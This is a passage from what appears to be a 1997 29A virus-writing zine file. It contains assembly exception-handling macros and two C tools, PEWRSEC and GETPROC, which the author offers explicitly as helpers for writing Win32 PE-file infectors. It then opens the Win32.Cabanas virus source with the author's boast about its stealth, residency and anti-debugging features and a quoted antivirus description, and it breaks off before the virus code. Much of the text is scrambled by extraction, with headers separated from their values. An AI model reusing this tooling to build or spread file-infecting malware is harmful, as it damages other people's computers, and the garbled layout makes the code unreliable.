0C0000005h 080000002h 080000003h 080000004h 0C000008Ch 0C000008Dh 0C000008Eh 0C000008Fh 0C0000090h 0C0000091h 0C0000092h 0C0000093h 0C0000094h 0C0000095h 0C0000096h 0C0000006h 0C000001Dh 0C0000025h 0C00000FDh 0C0000026h 080000001h

; Useful structure to access the "Except_Handler" function argumentz: Except_Handler EH_Dummy EH_ExceptionRecord EH_EstablisherFrame EH_ContextRecord EH_DispatcherContext Except_Handler ; ; ; ; ; ; ;

STRUC DD DD DD DD DD ENDS

? ; Ret address EXCEPTION_RECORD PTR ? BYTE PTR ? CONTEXT PTR ? BYTE PTR ?

The following macroz "@SEH_SetupFrame" and "@SEH_RemoveFrame" are limited assembler versionz of the _try and _except keywordz used in C language. They provide fast and powerful "Structured Exception Handling" support for Win32 applicationz in a few linez of code. Though Microsoft seems intent on hiding the details of OS-level structured exception handling, this code relies on documented featurez of the Win32 API implementation and as such it works in both Windoze 95 and Windoze NT.

@SEH_SetupFrame macro ExceptionHandler local set_new_eh call set_new_eh mov esp,[esp.EH_EstablisherFrame] ExceptionHandler set_new_eh: xor edx,edx ; Setup new SEH frame push dword ptr fs:[edx] mov fs:[edx],esp endm ; The ExceptionHandler argument in the @SEH_SetupFrame macro definition ; can be a single instruction or another macro containing several of them.

@SEH_RemoveFrame macro xor pop pop endm

edx,edx ; Remove new SEH frame and set old dword ptr fs:[edx] edx

comment # // Exception disposition return values. typedef enum _EXCEPTION_DISPOSITION { ExceptionContinueExecution, ExceptionContinueSearch, ExceptionNestedException, ExceptionCollidedUnwind } EXCEPTION_DISPOSITION; EXCEPTION_DISPOSITION __cdecl _except_handler ( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ); # ; ÄÄ´ Some Win32 function prototypez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ comment * HANDLE CreateFileA (ptr) lpFileName dwDesiredAccess dwShareMode (ptr) lpSecurityAttributes dwCreationDisposition dwFlagsAndAttributes (hnd) hTemplateFile

; ; ; ; ; ; ;

ptr to name of file access (read-write) mode share mode ptr to SECURITY_ATTRIBUTES struc how to create file and flag attributez handle to file with attributez to copy

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error. ; dwDesiredAccess valuez: GENERIC_READ GENERIC_WRITE ; dwShareMode valuez: 0 ; not shared FILE_SHARE_READ FILE_SHARE_WRITE ; dwCreationDisposition valuez: CREATE_NEW CREATE_ALWAYS OPEN_EXISTING OPEN_ALWAYS TRUNCATE_EXISTING ; dwFlagsAndAttributes valuez: FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_ARCHIVE

FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_COMPRESSED FILE_FLAG_WRITE_THROUGH FILE_FLAG_OVERLAPPED FILE_FLAG_NO_BUFFERING FILE_FLAG_RANDOM_ACCESS FILE_FLAG_SEQUENTIAL_SCAN FILE_FLAG_DELETE_ON_CLOSE FILE_FLAG_BACKUP_SEMANTICS FILE_FLAG_POSIX_SEMANTICS - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - HANDLE CreateFileMappingA (hnd) hFile (ptr) lpFileMappingAttributes flProtect dwMaximumSizeHigh dwMaximumSizeLow (ptr) lpName

; ; ; ; ; ;

file handle to map ptr to SECURITY_ATTRIBUTES struc protection for mapping object high-order 32 bitz of object size low-order 32 bitz of object size name of file-mapping object

Returns: handle to file-mapping object if ok, NULL if error. ; flProtect valuez: PAGE_READONLY PAGE_READWRITE PAGE_WRITECOPY SEC_COMMIT SEC_IMAGE SEC_NOCACHE SEC_RESERVE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - LPVOID MapViewOfFile (hnd) hFileMappingObject dwDesiredAccess dwFileOffsetHigh dwFileOffsetLow dwNumberOfBytesToMap

; ; ; ; ;

mapping object to map into address space access mode high-order 32 bitz of file offset low-order 32 bitz of file offset number of bytez to map

Returns: starting address of the mapped view if ok, NULL if error. ; dwDesiredAccess: FILE_MAP_WRITE FILE_MAP_READ FILE_MAP_ALL_ACCESS FILE_MAP_COPY - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - HANDLE FindFirstFileA (ptr) lpFileName (ptr) lpFindFileData

; ptr to name of file to search for ; ptr to WIN32_FIND_DATA struc

Returns: opened handle if ok, INVALID_HANDLE_VALUE if error. it also fills structure pointed by lpFindFileData on return. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

* ; ÄÄ´ Some macroz for most common functionz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @OpenFile

macro xor push push push push push push push call

; open file with r/o or r/w access, not shared ; on input: ECX = desired access, EDX = pszFileName eax,eax eax ; 0 FILE_ATTRIBUTE_NORMAL OPEN_EXISTING eax ; NULL eax ; 0 ecx ; desired access edx ; pszFileName CreateFileA

endm @OpenFileR

macro pszFileName ; Open file for r/o access, not shared xor eax,eax push eax ; 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax ; NULL push eax ; 0 push GENERIC_READ push pszFileName call CreateFileA

endm @OpenFileW

endm

macro pszFileName ; Open file for r/w access, not shared xor eax,eax push eax ; 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax ; NULL push eax ; 0 push GENERIC_READ OR GENERIC_WRITE push pszFileName call CreateFileA

/* . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [PEWRSEC] PE Write Section, by Jacky Qwerty/29A

Here's a new utility from 29A. This program simply sets the write bit to a section in a PE file. This is needed when you need write access to the code section in a first generation sample, for instance. There is one utility from the SDK (EDITBIN) which does exactly the same thing with PE filez, but it needs some huge DLLz from VC to work. On the other hand, PEWRSEC can be compiled as a stupid COM file. Hope this will be handy enough for you ;) */ /*- -[PEWRSEC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ #include #include #include #include #include #include #include #define #define #define #define

<errno.h> <stdio.h> <stdlib.h> <string.h> "types.h" "mz.h" "pe.h" SizeBuffMZ sizeof(IMAGE_DOS_HEADER) SizeBuffPE (4 + IMAGE_SIZEOF_FILE_HEADER + IMAGE_SIZEOF_STD_OPTIONAL_HEADER) SizeBuffSH IMAGE_SIZEOF_SECTION_HEADER SizeBuffMax max(SizeBuffMZ, max(SizeBuffPE, SizeBuffSH))

INT Strncmpz(BYTE *S1, BYTE *S2, INT Count) { while (Count--) { if (*S1 < *S2) return -1; // This fucntion doesnt seem to be implemented if (*S1 > *S2++) return 1; // in the standard C string library, It combines if (!*S1++) break; } // the funtionality of "strcmp" and "strncmp". return 0; } INT main(INT argc, CHAR *argv[]) { FILE *File; INT RetValue = 1; PCHAR SecName = NULL, FileName = NULL; WORD Sections; PIMAGE_DOS_HEADER pMZ; PIMAGE_NT_HEADERS pPE; PIMAGE_SECTION_HEADER pSH; CHAR Buffer[SizeBuffMax]; printf("PEWRSEC - Sets the WRITE bit to a PE section - (c) 1997 jqwerty/29A\n\n"); if (argc != 2 && argc != 3) { printf(" Syntax: PEWRSEC [/SEC:<SectionName>] (default: code section)\n"); Ret: return RetValue; } while (--argc) { if (*argv[argc] != '/') { if ((FileName = argv[argc]) == NULL) { printf("No filename specified\n"); goto Ret; } } else if (!strncmpi(argv[argc] + 1, "SEC:", 4)) SecName = argv[argc] + 5; else { printf("Unknown option '%s'\n", argv[argc]); goto Ret; } } if ((File = fopen(FileName, "rb+")) == 0) {

printf("Can't open '%s'\n", FileName); goto Ret; } if (!fread(pMZ = (PIMAGE_DOS_HEADER)Buffer, SizeBuffMZ, 1, File)) { ReadErr: if (!feof(File)) { printf("Error reading file\n"); CloseFile: fclose(File); goto Ret; } else { InvalidPE: printf("Not a valid PE file\n"); goto CloseFile; } } if (pMZ->e_magic != IMAGE_DOS_SIGNATURE) goto InvalidPE; if (fseek(File, pMZ->e_lfanew, SEEK_SET)) { SeekErr: if (errno != EBADF) { printf("Error in file seek\n"); goto CloseFile; } else goto InvalidPE; } if (!fread(pPE = (PIMAGE_NT_HEADERS)Buffer, SizeBuffPE, 1, File)) goto ReadErr; if (pPE->Signature != IMAGE_NT_SIGNATURE || !(Sections = pPE->FileHeader.NumberOfSections)) goto InvalidPE; if (fseek(File, FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pPE->FileHeader. SizeOfOptionalHeader - SizeBuffPE, SEEK_CUR)) goto SeekErr; do { if (!fread(pSH = (PIMAGE_SECTION_HEADER)Buffer, SizeBuffSH, 1, File)) goto ReadErr; if (SecName) { if (!Strncmpz(SecName, pSH->Name, 8)) break; } else if (pSH->VirtualAddress <= pPE->OptionalHeader.AddressOfEntryPoint && pPE-> OptionalHeader.AddressOfEntryPoint < pSH->VirtualAddress + pSH->Misc.VirtualSize) break; } while (--Sections); if (!Sections) { printf("Section not found\n"); goto CloseFile; } if (!(pSH->Characteristics & IMAGE_SCN_MEM_WRITE)) { pSH->Characteristics |= IMAGE_SCN_MEM_WRITE; if (fseek(File, - SizeBuffSH, SEEK_CUR)) goto SeekErr; if (!fwrite(pSH, SizeBuffSH, 1, File) || fflush(File)) { printf("Error writing file\n"); goto CloseFile; } } printf("Ok\n"); RetValue = 0; goto CloseFile; } /*- -[MZ.H] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ // // DOS EXE MZ format // #define IMAGE_DOS_SIGNATURE 0x5A4D

// MZ

typedef struct _IMAGE_DOS_HEADER { WORD e_magic; WORD e_cblp; WORD e_cp; WORD e_crlc; WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc; WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs; WORD e_lfarlc; WORD e_ovno; WORD e_res[4]; WORD e_oemid; WORD e_oeminfo; WORD e_res2[10]; LONG e_lfanew; } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

// // // // // // // // // // // // // // // // // // // //

DOS EXE header Magic number Bytes on last page of file Pages in file Relocations Size of header in paragraphs Minimum extra paragraphs needed Maximum extra paragraphs needed Initial (relative) SS value Initial SP value Checksum Initial IP value Initial (relative) CS value File address of relocation table Overlay number Reserved words OEM identifier (for e_oeminfo) OEM information; e_oemid specific Reserved words File address of new exe header

/*- -[PE.H] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ //

// Portable Executable format // #define IMAGE_NT_SIGNATURE

0x00004550

// PE00

// File header format. typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; #define IMAGE_SIZEOF_FILE_HEADER

20

#define IMAGE_FILE_RELOCS_STRIPPED #define IMAGE_FILE_EXECUTABLE_IMAGE unresolved externel references). #define IMAGE_FILE_LINE_NUMS_STRIPPED #define IMAGE_FILE_LOCAL_SYMS_STRIPPED #define IMAGE_FILE_MINIMAL_OBJECT #define IMAGE_FILE_UPDATE_OBJECT #define IMAGE_FILE_16BIT_MACHINE #define IMAGE_FILE_BYTES_REVERSED_LO #define IMAGE_FILE_32BIT_MACHINE #define IMAGE_FILE_DEBUG_STRIPPED .DBG file #define IMAGE_FILE_PATCH #define IMAGE_FILE_SYSTEM #define IMAGE_FILE_DLL #define IMAGE_FILE_BYTES_REVERSED_HI

0x0001 0x0002

// Relocation info stripped from file. // File is executable (i.e. no

0x0004 0x0008 0x0010 0x0020 0x0040 0x0080 0x0100 0x0200

// // // // // // // //

Line nunbers stripped from file. Local symbols stripped from file. Reserved. Reserved. 16 bit word machine. Bytes of machine word are reversed. 32 bit word machine. Debugging info stripped from file in

0x0400 0x1000 0x2000 0x8000

// // // //

Reserved. System File. File is a DLL. Bytes of machine word are reversed.

#define #define #define #define #define #define

0 0x14c 0x162 0x166 0x184 0x1F0

// // // // //

Intel 386. MIPS little-endian, 0540 big-endian MIPS little-endian Alpha_AXP IBM PowerPC Little-Endian

IMAGE_FILE_MACHINE_UNKNOWN IMAGE_FILE_MACHINE_I386 IMAGE_FILE_MACHINE_R3000 IMAGE_FILE_MACHINE_R4000 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_POWERPC

// Directory format. typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES // Optional header format. typedef struct _IMAGE_OPTIONAL_HEADER { // Standard fields. WORD BYTE BYTE DWORD DWORD

Magic; MajorLinkerVersion; MinorLinkerVersion; SizeOfCode; SizeOfInitializedData;

16

DWORD DWORD DWORD DWORD

SizeOfUninitializedData; AddressOfEntryPoint; BaseOfCode; BaseOfData;

// NT additional fields. DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Reserved1; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER; #define IMAGE_SIZEOF_STD_OPTIONAL_HEADER #define IMAGE_SIZEOF_NT_OPTIONAL_HEADER #define IMAGE_NT_OPTIONAL_HDR_MAGIC

28 224 0x10b

typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS; // Calculate the byte offset of a field in a structure of type type. #define FIELD_OFFSET(type, field)

((LONG)&(((type *)0)->field))

// Calculate the first section header #define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) ((DWORD)ntheader + FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + ((PIMAGE_NT_HEADERS)(ntheader))->FileHeader.SizeOfOptionalHeader ))

\ \ \ \

// Subsystem Values #define IMAGE_SUBSYSTEM_UNKNOWN #define IMAGE_SUBSYSTEM_NATIVE #define IMAGE_SUBSYSTEM_WINDOWS_GUI #define IMAGE_SUBSYSTEM_WINDOWS_CUI subsystem. #define IMAGE_SUBSYSTEM_OS2_CUI subsystem.

0 1 2 3

// // // //

Unknown subsystem. Image doesn't require a subsystem. Image runs in the Windows GUI subsystem. Image runs in the Windows character

5

// image runs in the OS/2 character

#define IMAGE_SUBSYSTEM_POSIX_CUI subsystem.

7

// image run

1 2 4 8

// // // //

in the Posix character

// Dll Characteristics #define #define #define #define

IMAGE_LIBRARY_PROCESS_INIT IMAGE_LIBRARY_PROCESS_TERM IMAGE_LIBRARY_THREAD_INIT IMAGE_LIBRARY_THREAD_TERM

Dll Dll Dll Dll

has has has has

a a a a

process initialization routine. thread termination routine. thread initialization routine. thread termination routine.

// Loader Flags #define IMAGE_LOADER_FLAGS_BREAK_ON_LOAD #define IMAGE_LOADER_FLAGS_DEBUG_ON_LOAD

0x00000001 0x00000002

// Directory Entries #define #define #define #define #define #define #define #define #define #define #define

IMAGE_DIRECTORY_ENTRY_EXPORT IMAGE_DIRECTORY_ENTRY_IMPORT IMAGE_DIRECTORY_ENTRY_RESOURCE IMAGE_DIRECTORY_ENTRY_EXCEPTION IMAGE_DIRECTORY_ENTRY_SECURITY IMAGE_DIRECTORY_ENTRY_BASERELOC IMAGE_DIRECTORY_ENTRY_DEBUG IMAGE_DIRECTORY_ENTRY_COPYRIGHT IMAGE_DIRECTORY_ENTRY_GLOBALPTR IMAGE_DIRECTORY_ENTRY_TLS IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG

0 1 2 3 4 5 6 7 8 9 10

// // // // // // // // // // //

Export Directory Import Directory Resource Directory Exception Directory Security Directory Base Relocation Table Debug Directory Description String Machine Value (MIPS GP) TLS Directory Load Configuration Directory

// Section header format. #define IMAGE_SIZEOF_SHORT_NAME

8

typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; #define IMAGE_SIZEOF_SECTION_HEADER

40

#define #define #define #define #define #define

0x00000000 0x00000001 0x00000002 0x00000004 0x00000008 0x00000010

// // // // // //

0x00000020 0x00000040 0x00000080

// Section contains code. // Section contains initialized data. // Section contains uninitialized

IMAGE_SCN_TYPE_REGULAR IMAGE_SCN_TYPE_DUMMY IMAGE_SCN_TYPE_NO_LOAD IMAGE_SCN_TYPE_GROUPED IMAGE_SCN_TYPE_NO_PAD IMAGE_SCN_TYPE_COPY

#define IMAGE_SCN_CNT_CODE #define IMAGE_SCN_CNT_INITIALIZED_DATA #define IMAGE_SCN_CNT_UNINITIALIZED_DATA data.

Reserved. Reserved. Used for 16-bit offset code. Reserved. Reserved.

#define IMAGE_SCN_LNK_OTHER #define IMAGE_SCN_LNK_INFO some other type of information. #define IMAGE_SCN_LNK_OVERLAY #define IMAGE_SCN_LNK_REMOVE part of image. #define IMAGE_SCN_LNK_COMDAT

0x00000100 0x00000200

// Reserved. // Section contains comments or

0x00000400 0x00000800

// Section contains an overlay. // Section contents will not become

0x00001000

// Section contents comdat.

#define IMAGE_SCN_ALIGN_1BYTES #define IMAGE_SCN_ALIGN_2BYTES #define IMAGE_SCN_ALIGN_4BYTES #define IMAGE_SCN_ALIGN_8BYTES #define IMAGE_SCN_ALIGN_16BYTES are specified. #define IMAGE_SCN_ALIGN_32BYTES #define IMAGE_SCN_ALIGN_64BYTES

0x00100000 0x00200000 0x00300000 0x00400000 0x00500000

// // // // // Default alignment if no others

0x00600000 0x00700000

// //

#define #define #define #define #define #define #define

0x02000000 0x04000000 0x08000000 0x10000000 0x20000000 0x40000000 0x80000000

// // // // // // //

IMAGE_SCN_MEM_DISCARDABLE IMAGE_SCN_MEM_NOT_CACHED IMAGE_SCN_MEM_NOT_PAGED IMAGE_SCN_MEM_SHARED IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ IMAGE_SCN_MEM_WRITE

Section Section Section Section Section Section Section

can be discarded. is not cachable. is not pageable. is shareable. is executable. is readable. is writeable.

/*- -[TYPES.H]- - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ #ifndef CHAR typedef signed char CHAR; #endif #ifndef SHORT typedef signed short SHORT; #endif #ifndef LONG typedef signed long LONG; #endif #ifndef INT typedef signed INT; #endif #ifndef BYTE typedef unsigned char BYTE; #endif #ifndef WORD typedef unsigned short WORD; #endif #ifndef DWORD typedef unsigned long DWORD; #endif #ifndef UINT typedef unsigned UINT; #endif #ifndef PCHAR typedef CHAR *PCHAR; #endif

#ifndef PSHORT typedef SHORT *PSHORT; #endif #ifndef PLONG typedef LONG *PLONG; #endif #ifndef PINT typedef INT *PINT; #endif #ifndef PBYTE typedef BYTE *PBYTE; #endif #ifndef PWORD typedef WORD *PWORD; #endif #ifndef PDWORD typedef DWORD *PDWORD; #endif #ifndef PUINT typedef UINT *PUINT; #endif

/* . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [GETPROC] GetProcAddress-alike utility, by Jacky Qwerty/29A

And here's one more tool you will probably find useful when getting started in the 32-bit virus coding. Albeit it simply gets the function addresez of one or more APIz from inside any specified module. It has the advantage of findin API function adressez exported by ordinal only from the KERNEL32 module library. This is somethin u can't normally do by usin GetProcAddress on any ordinal exported from KERNEL32, since Microsoft intentionally added some code to return failure in such casez. This program overcomes this problem by interactin directly with the export table if necesary. This utility will surely help u when codin your Win32 PE infector and when findin the so called "VxDCall" API address (ordinal 1) to do whatever u want under Win95. */ /*- -[GETPROC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */ #include #include #include #include

<windows.h> <stdio.h> <stdlib.h> <string.h>

#define RVA2OFS(Type, Base, RVA) ((Type *)((DWORD)(Base) + (DWORD)(RVA))) useful macro

//a very

FARPROC MyGetProcAddr(HMODULE hMod, LPCSTR pszAPIName) { PIMAGE_DOS_HEADER pMZ; PIMAGE_NT_HEADERS pPE; PIMAGE_EXPORT_DIRECTORY pExp; DWORD cIndex; FARPROC fnAddr; if ((fnAddr = GetProcAddress(hMod, pszAPIName)) == 0) { pMZ = (PIMAGE_DOS_HEADER)hMod; if (pMZ->e_magic != IMAGE_DOS_SIGNATURE) goto Ret; pPE = RVA2OFS(IMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew); if (pPE->Signature != IMAGE_NT_SIGNATURE) goto Ret; if (pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0) goto Ret; pExp = RVA2OFS(IMAGE_EXPORT_DIRECTORY, pMZ, pPE->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if ((DWORD)pszAPIName & -0x10000) { for (cIndex = 0; cIndex < pExp->NumberOfNames; cIndex++) if (strcmp(RVA2OFS(CHAR, pMZ, RVA2OFS(DWORD, pMZ, pExp->AddressOfNames)[cIndex]) , pszAPIName) == 0) break; if (pExp->NumberOfNames <= cIndex) goto Ret; cIndex = (DWORD)RVA2OFS(WORD, pMZ, pExp->AddressOfNameOrdinals)[cIndex]; } else cIndex = (DWORD)pszAPIName - pExp->Base; if (pExp->NumberOfFunctions <= cIndex) goto Ret; fnAddr = (FARPROC)RVA2OFS(DWORD, pMZ, RVA2OFS(DWORD, pMZ, pExp->AddressOfFunctions)[ cIndex]); } Ret: return fnAddr; } UINT main(UINT argc, CHAR *argv[]) {

OSVERSIONINFO Version; HMODULE hMod; FARPROC fnAddr; DWORD Ordinal; UINT i, RetValue = 1; CHAR *szTmp; printf("GETPROC - Gets Win32 API function adressez - (c) 1997 jqwerty/29A\n\n"); Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&Version)) { printf("Can't get Win32 version\n"); Ret: return RetValue; } if (Version.dwPlatformId == VER_PLATFORM_WIN32s) { printf("This program can NOT run under Win32s\n"); goto Ret; } if (argc == 1) { printf(" Syntax: GETPROC <Win32 Module Name> <Win32 API #1 [Win32 API #2] ... >\n\n"); if ((hMod = GetModuleHandleA("KERNEL32")) == 0) { printf("[KERNEL32] Module Name base adress not found\n"); goto Ret; } printf("[KERNEL32] Module name base adress = %08Xh\n", hMod); if ((fnAddr = MyGetProcAddr(hMod, "GetModuleHandleA")) == 0) printf("[GetModuleHandleA] API name base adress not found\n"); else printf("[GetModuleHandleA] API name base adress = %08Xh\n", fnAddr); if ((fnAddr = MyGetProcAddr(hMod, "GetModuleHandleW")) == 0) printf("[GetModuleHandleW] API name base adress not found\n"); else printf("[GetModuleHandleW] API name base adress = %08Xh\n", fnAddr); if ((fnAddr = MyGetProcAddr(hMod, "GetProcAddress")) == 0) printf("[GetProcAddress] API name base adress not found\n"); else printf("[GetProcAddress] API name base adress = %08Xh\n", fnAddr); } else { if ((hMod = LoadLibraryA(strupr(argv[1]))) == 0) { printf("[%s] Module name base adress not found\n", argv[1]); goto Ret; } printf("[%s] Module name base adress = %08Xh\n", argv[1], hMod); for (i = 2; i < argc; i++) { if ((Ordinal = atoi(argv[i])) == 0) { szTmp = "Name"; fnAddr = MyGetProcAddr(hMod, argv [i]); } else { szTmp = "Ordinal"; fnAddr = MyGetProcAddr(hMod, (LPCSTR)Ordinal); } if (!fnAddr) printf("[%s] API %s base adress not found\n", argv[i], szTmp); else printf("[%s] API %s base adress = %08Xh\n", argv[i], szTmp, fnAddr); } FreeLibrary(hMod); RetValue--; } goto Ret; }

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Win32.Cabanas.2999 by Jacky Qwerty/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus. Not only it's the first virus stayin resident on NT, but is also the first with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz, this babe is a "per process" memory resident, size stealth virus infecting Portable Executable filez on every existin Win32-based system. Those who dont know what a "per process" resident virus is, it means a virus staying resident inside the host Win32 aplication's private space, monitoring file activity and infectin PE filez opened or accesed by such Win32 aplication. The purpose of this virus is to prove new residency techniquez that can be exploited from genuine Win32 infectorz, without all the trouble of writing especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is a virus bein able to work unmodified across all Win32 platformz available: Win95, WinNT and any other future platform suportin the Win32 API interface. So far only Win95 especific virusez have been found, not Win32 genuine onez. Make sure to read the complete description about Win32.Cabanas written by P‚ter Sz”r, available at http://www.avp.ch/avpve/newexe/win32/cabanas.stm. U can also read description by Igor Daniloff from Dr.Web, available at http://www.dials.ccas.ru/inf/cabanas.htm as well. After readin P‚ter Sz”r's description about Win32.Cabanas, i realized he'd really made a very serious profesional work. So good that he didnt seem to miss any internail detail in the virus, as if he had actually writen the bug himself or as if he was actually me, hehe. Obviosly, none of the prior onez are true. But, nevertheless, i think it's worth to take his work into account even from the VX side of the fence. Really i dunno what's left for me to say after such description, so i will simply add my own personal comentz to P‚ter's log. Erm.. btw why dont u join us? heh >8P

- - - - - - - - - - - - - - - - - - - 1. Technical Description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Win32.Cabanas is the first known 32-bit Server, Windows NT workstation, Windows Win32s sub-system. It was found in late

- - - - - - - - - - - - - - - - >8

virus that works under Windows NT 95 and Windows 3.x extended with 1997.

Win32.Cabanas is a per-process memory resident, fast infecting, antidebugged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The "Win32" prefix is not misleading, as the virus is also able to spread in all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of the virus is a member of the 29A group, the same young virus writer who wrote the infamous CAP.A virus.

1.1. Running an infected PE file ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When a Win32.Cabanas infected file is executed, the execution will start at the original host entry point. Surprisingly, Cabanas does not touch the entry point field in the Image File Header. Instead it patches the host program at its entry point. Five bytes at the entry point is replaced with a FAR JMP to the address where the original program ended. This can be considered as an anti-heuristic feature, as the host entry point value in the PE header keeps pointing inside the code section, possibly turning off some heuristic flags.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Thus the first JMP points to the real entry point. The first function in Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL API names. The unpack mechanism is simple but effective enough. Cabanas is also an armored virus. It uses "Structured Exception Handling" (typically abbreviated as "SEH") as an anti-debug trick. This prevents debugging from any application-level debugger, such as TD32. When the unpack/decryptor function is ready, the virus calls a routine to get the original Base Address of KERNEL32.DLL. During infection time, the virus searches for GetModuleHandleA and GetModuleHandleW API in the Import Table, respectively. When it finds them, it saves a pointer to the actual DWORD in the .idata list. Since the loader puts the addresses to this table before it executes the virus, Cabanas gets them easily. If the application does not have a GetModuleHandleA / GetModuleHandleW API import, the virus uses a third undocumented way to get the Base Address of KERNEL32.DLL by 